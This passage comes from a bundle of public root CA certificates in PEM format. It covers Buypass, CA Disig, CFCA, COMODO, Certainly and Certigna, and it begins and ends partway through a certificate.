      MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
      Q2xhc3MgMiBSb290IENBMB4XDTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1ow
      TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
      HgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
      BQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1g1Lr
      6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPV
      L4O2fuPn9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC91
      1K2GScuVr1QGbNgGE41b/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHx
      MlAQTn/0hpPshNOOvEu/XAFOBz3cFIqUCqTqc/sLUegTBxj6DvEr0VQVfTzh97QZ
      QmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeffawrbD02TTqigzXsu8lkB
      arcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgIzRFo1clr
      Us3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLi
      FRhnBkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRS
      P/TizPJhk9H9Z2vXUq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN
      9SG9dKpN6nIDSdvHXx1iY8f93ZHsM+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxP
      AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMmAd+BikoL1Rpzz
      uvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAU18h
      9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
      A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3t
      OluwlN5E40EIosHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo
      +fsicdl9sz1Gv7SEr5AcD48Saq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7
      KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYdDnkM/crqJIByw5c/8nerQyIKx+u2
      DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWDLfJ6v9r9jv6ly0Us
      H8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0oyLQ
      I+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK7
      5t98biGCwWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h
      3PFaTWwyI0PurKju7koSCTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPz
      Y11aWOIv4x3kqdbQCtCev9eBCfHJxyYNrJgWVqA=
      -----END CERTIFICATE-----

      # Buypass Class 3 Root CA
      -----BEGIN CERTIFICATE-----
      MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEd
      MBsGA1UECgwUQnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3Mg
      Q2xhc3MgMyBSb290IENBMB4XDTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFow
      TjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBhc3MgQVMtOTgzMTYzMzI3MSAw
      HgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEB
      BQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRHsJ8Y
      ZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3E
      N3coTRiR5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9
      tznDDgFHmV0ST9tD+leh7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX
      0DJq1l1sDPGzbjniazEuOQAnFN44wOwZZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c
      /3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH2xc519woe2v1n/MuwU8X
      KhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV/afmiSTY
      zIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvS
      O1UQRwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D
      34xFMFbG02SrZvPAXpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgP
      K9Dx2hzLabjKSWJtyNBjYt1gD1iqj6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3
      AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFEe4zf/lb+74suwv
      Tg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAACAj
      QTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
      cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXS
      IGrs/CIBKM+GuIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2
      HJLw5QY33KbmkJs4j1xrG0aGQ0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsa
      O5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8ZORK15FTAaggiG6cX0S5y2CBNOxv
      033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2KSb12tjE8nVhz36u
      dmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz6MkE
      kbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg41
      3OEMXbugUZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvD
      u79leNKGef9JOxqDDPDeeOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq
      4/g7u9xN12TyUb7mqqta6THuBrxzvxNiCp/HuZc=
      -----END CERTIFICATE-----

      # CA Disig Root R2
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # CFCA EV ROOT
      -----BEGIN CERTIFICATE-----
      MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJD
      TjEwMC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9y
      aXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkx
      MjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEwMC4GA1UECgwnQ2hpbmEgRmluYW5j
      aWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJP
      T1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnVBU03
      sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpL
      TIpTUnrD7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5
      /ZOkVIBMUtRSqy5J35DNuF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp
      7hZZLDRJGqgG16iI0gNyejLi6mhNbiyWZXvKWfry4t3uMCz7zEasxGPrb382KzRz
      EpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7xzbh72fROdOXW3NiGUgt
      hxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9fpy25IGvP
      a931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqot
      aK8KgWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNg
      TnYGmE69g60dWIolhdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfV
      PKPtl8MeNPo4+QgO48BdK4PRVmrJtqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hv
      cWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAfBgNVHSMEGDAWgBTj/i39KNAL
      tbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAd
      BgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB
      ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObT
      ej/tUxPQ4i9qecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdL
      jOztUmCypAbqTuv0axn96/Ua4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBS
      ESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sGE5uPhnEFtC+NiWYzKXZUmhH4J/qy
      P5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfXBDrDMlI1Dlb4pd19
      xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjnaH9d
      Ci77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN
      5mydLIhyPDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe
      /v5WOaHIz16eGWRGENoXkbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+Z
      AAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3CekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ
      5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su
      -----END CERTIFICATE-----

      # COMODO Certification Authority
      -----BEGIN CERTIFICATE-----
      MIIEHTCCAwWgAwIBAgIQToEtioJl4AsC7j41AkblPTANBgkqhkiG9w0BAQUFADCB
      gTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
      A1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxJzAlBgNV
      BAMTHkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjEyMDEwMDAw
      MDBaFw0yOTEyMzEyMzU5NTlaMIGBMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3Jl
      YXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01P
      RE8gQ0EgTGltaXRlZDEnMCUGA1UEAxMeQ09NT0RPIENlcnRpZmljYXRpb24gQXV0
      aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ECLi3LjkRv3
      UcEbVASY06m/weaKXTuH+7uIzg3jLz8GlvCiKVCZrts7oVewdFFxze1CkU1B/qnI
      2GqGd0S7WWaXUF601CxwRM/aN5VCaTwwxHGzUvAhTaHYujl8HJ6jJJ3ygxaYqhZ8
      Q5sVW7euNJH+1GImGEaaP+vB+fGQV+useg2L23IwambV4EajcNxo2f8ESIl33rXp
      +2dtQem8Ob0y2WIC8bGoPW43nOIv4tOiJovGuFVDiOEjPqXSJDlqR6sA1KGzqSX+
      DT+nHbrTUcELpNqsOO9VUCQFZUaTNE8tja3G1CEZ0o7KBWFxB3NH5YoZEr0ETc5O
      nKVIrLsm9wIDAQABo4GOMIGLMB0GA1UdDgQWBBQLWOWLxkwVN6RAqTCpIb5HNlpW
      /zAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zBJBgNVHR8EQjBAMD6g
      PKA6hjhodHRwOi8vY3JsLmNvbW9kb2NhLmNvbS9DT01PRE9DZXJ0aWZpY2F0aW9u
      QXV0aG9yaXR5LmNybDANBgkqhkiG9w0BAQUFAAOCAQEAPpiem/Yb6dc5t3iuHXIY
      SdOH5EOC6z/JqvWote9VfCFSZfnVDeFs9D6Mk3ORLgLETgdxb8CPOGEIqB6BCsAv
      IC9Bi5HcSEW88cbeunZrM8gALTFGTO3nnc+IlP8zwFboJIYmuNg4ON8qa90SzMc/
      RxdMosIGlgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4
      zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
      BA6+C4OmF4O5MBKgxTMVBbkN+8cFduPYSo38NBejxiEovjBFMR7HeL5YYTisO+IB
      ZQ==
      -----END CERTIFICATE-----

      # COMODO ECC Certification Authority
      -----BEGIN CERTIFICATE-----
      MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTEL
      MAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UE
      BxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMT
      IkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwMzA2MDAw
      MDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdy
      ZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09N
      T0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlv
      biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSR
      FtSrYpn1PlILBs5BAH+X4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0J
      cfRK9ChQtP6IHG4/bC8vCVlbpVsLM5niwz2J+Wos77LTBumjQjBAMB0GA1UdDgQW
      BBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/
      BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VGFAkK+qDm
      fQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdv
      GDeAU/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
      -----END CERTIFICATE-----

      # COMODO RSA Certification Authority
      -----BEGIN CERTIFICATE-----
      MIIF2DCCA8CgAwIBAgIQTKr5yttjb+Af907YWwOGnTANBgkqhkiG9w0BAQwFADCB
      hTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
      A1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNV
      BAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMTE5
      MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgT
      EkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR
      Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNh
      dGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR
      6FSS0gpWsawNJN3Fz0RndJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX/JSw8X
      pz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZFGvnnLOFoIJ6dq9xkNfs/Q36nGz637CC
      9BR++b7Epi9Pf5l/tfxnQ3K9DADWietrLNPtj5gcFKt+5eNu/Nio5JIk2kNrYrhV
      /erBvGy2i/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pGx8cgoLEf
      Zd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z
      +pUX2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7w
      qP/0uK3pN/u6uPQLOvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZah
      SL0896+1DSJMwBGB7FY79tOi4lu3sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVIC
      u9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+CGCe01a60y1Dma/RMhnEw6abf
      Fobg2P9A3fvQQoh/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5WdYgGq/yapiq
      crxXStJLnbsQ/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo0IwQDAdBgNVHQ4E
      FgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB
      /wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAArx1UaEt65Ru2yyTUEUAJNMnMvl
      wFTPoCWOAvn9sKIN9SCYPBMtrFaisNZ+EZLpLrqeLppysb0ZRGxhNaKatBYSaVqM
      4dc+pBroLwP0rmEdEBsqpIt6xf4FpuHA1sj+nq6PK7o9mfjYcwlYRm6mnPTXJ9OV
      2jeDchzTc+CiR5kDOF3VSXkAKRzH7JsgHAckaVd4sjn8OoSgtZx8jb8uk2Intzna
      FxiuvTwJaP+EmzzV1gsD41eeFPfR60/IvYcjt7ZJQ3mFXLrrkguhxuhoqEwWsRqZ
      CuhTLJK7oQkYdQxlqHvLI7cawiiFwxv/0Cti76R7CZGYZ4wUAc1oBmpjIXUDgIiK
      boHGhfKppC3n9KUkEEeDys30jXlYsQab5xoq2Z0B15R97QNKyvDb6KkBPvVWmcke
      jkk9u+UJueBPSZI9FoJAzMxZxuY67RIuaTxslbH9qh17f4a+Hg4yRvv7E491f0yL
      S0Zj/gA0QHDBw7mh3aZw4gSzQbzpgJHqZJx64SIDqZxubw5lT2yHh17zbqD5daWb
      QOhTsiedSrnAdyGN/4fy3ryM7xfft0kL0fJuMAsaDk527RH89elWsn2/x20Kk4yl
      0MC2Hb46TpSi125sC8KKfPog88Tk5c0NqMuRkrF8hey1FGlmDoLnzc7ILaZRfyHB
      NVOFBkpdn627G190
      -----END CERTIFICATE-----

      # Certainly Root E1
      -----BEGIN CERTIFICATE-----
      MIIB9zCCAX2gAwIBAgIQBiUzsUcDMydc+Y2aub/M+DAKBggqhkjOPQQDAzA9MQsw
      CQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0YWlu
      bHkgUm9vdCBFMTAeFw0yMTA0MDEwMDAwMDBaFw00NjA0MDEwMDAwMDBaMD0xCzAJ
      BgNVBAYTAlVTMRIwEAYDVQQKEwlDZXJ0YWlubHkxGjAYBgNVBAMTEUNlcnRhaW5s
      eSBSb290IEUxMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE3m/4fxzf7flHh4axpMCK
      +IKXgOqPyEpeKn2IaKcBYhSRJHpcnqMXfYqGITQYUBsQ3tA3SybHGWCA6TS9YBk2
      QNYphwk8kXr2vBMj3VlOBF7PyAIcGFPBMdjaIOlEjeR2o0IwQDAOBgNVHQ8BAf8E
      BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ygYy2R17ikq6+2uI1g4
      hevIIgcwCgYIKoZIzj0EAwMDaAAwZQIxALGOWiDDshliTd6wT99u0nCK8Z9+aozm
      ut6Dacpps6kFtZaSF4fC0urQe87YQVt8rgIwRt7qy12a7DLCZRawTDBcMPPaTnOG
      BtjOiQRINzf43TNRnXCve1XYAS59BWQOhriR
      -----END CERTIFICATE-----

      # Certainly Root R1
      -----BEGIN CERTIFICATE-----
      MIIFRzCCAy+gAwIBAgIRAI4P+UuQcWhlM1T01EQ5t+AwDQYJKoZIhvcNAQELBQAw
      PTELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCUNlcnRhaW5seTEaMBgGA1UEAxMRQ2Vy
      dGFpbmx5IFJvb3QgUjEwHhcNMjEwNDAxMDAwMDAwWhcNNDYwNDAxMDAwMDAwWjA9
      MQswCQYDVQQGEwJVUzESMBAGA1UEChMJQ2VydGFpbmx5MRowGAYDVQQDExFDZXJ0
      YWlubHkgUm9vdCBSMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANA2
      1B/q3avk0bbm+yLA3RMNansiExyXPGhjZjKcA7WNpIGD2ngwEc/csiu+kr+O5MQT
      vqRoTNoCaBZ0vrLdBORrKt03H2As2/X3oXyVtwxwhi7xOu9S98zTm/mLvg7fMbed
      aFySpvXl8wo0tf97ouSHocavFwDvA5HtqRxOcT3Si2yJ9HiG5mpJoM610rCrm/b0
      1C7jcvk2xusVtyWMOvwlDbMicyF0yEqWYZL1LwsYpfSt4u5BvQF5+paMjRcCMLT5
      r3gajLQ2EBAHBXDQ9DGQilHFhiZ5shGIXsXwClTNSaa/ApzSRKft43jvRl5tcdF5
      cBxGX1HpyTfcX35pe0HfNEXgO4T0oYoKNp43zGJS4YkNKPl6I7ENPT2a/Z2B7yyQ
      wHtETrtJ4A5KVpK8y7XdeReJkd5hiXSSqOMyhb5OhaRLWcsrxXiOcVTQAjeZjOVJ
      6uBUcqQRBi8LjMFbvrWhsFNunLhgkR9Za/kt9JQKl7XsxXYDVBtlUrpMklZRNaBA
      2CnbrlJ2Oy0wQJuK0EJWtLeIAaSHO1OWzaMWj/Nmqhexx2DgwUMFDO6bW2BvBlyH
      Wyf5QBGenDPBt+U1VwV/J84XIIwc/PH72jEpSe31C4SnT8H2TsIonPru4K8H+zMR
      eiFPCyEQtkA6qyI6BJyLm4SGcprSp6XEtHWRqSsjAgMBAAGjQjBAMA4GA1UdDwEB
      /wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTgqj8ljZ9EXME66C6u
      d0yEPmcM9DANBgkqhkiG9w0BAQsFAAOCAgEAuVevuBLaV4OPaAszHQNTVfSVcOQr
      PbA56/qJYv331hgELyE03fFo8NWWWt7CgKPBjcZq91l3rhVkz1t5BXdm6ozTaw3d
      8VkswTOlMIAVRQdFGjEitpIAq5lNOo93r6kiyi9jyhXWx8bwPWz8HA2YEGGeEaIi
      1wrykXprOQ4vMMM2SZ/g6Q8CRFA3lFV96p/2O7qUpUzpvD5RtOjKkjZUbVwlKNrd
      rRT90+7iIgXr0PK3aBLXWopBGsaSpVo7Y0VPv+E6dyIvXL9G+VoDhRNCX8reU9di
      taY1BMJH/5n9hN9czulegChB8n3nHpDYT3Y+gjwN/KUD+nsa2UUeYNrEjvn8K8l7
      lcUq/6qJ34IxD3L/DCfXCh5WAFAeDJDBlrXYFIW7pw0WwfgHJBu6haEaBQmAupVj
      yTrsJZ9/nbqkRxWbRHDxakvWOF5D8xh+UG7pWijmZeZ3Gzr9Hb4DJqPb1OG7fpYn
      Kx3upPvaJVQTA945xsMfTZDsjxtK0hzthZU4UHlG1sGQUDGpXJpuHfUzVounmdLy
      yCwzk5Iwx06MZTMQZBf9JBeW0Y3COmor6xOLRPIh80oat3df1+2IpHLlOR+Vnb5n
      wXARPbv0+Em34yaXOp/SX3z7wJl8OSngex2/DaeP0ik0biQVy96QXr8axGbqwua6
      OV+KmalBWQewLK8=
      -----END CERTIFICATE-----

      # Certigna
      -----BEGIN CERTIFICATE-----
      MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNV
      BAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4X
      DTA3MDYyOTE1MTMwNVoXDTI3MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQ
      BgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwIQ2VydGlnbmEwggEiMA0GCSqGSIb3
      DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7qXOEm7RFHYeGifBZ4
      QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyHGxny
      gQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbw
      zBfsV1/pogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q
      130yGLMLLGq/jj8UEYkgDncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2
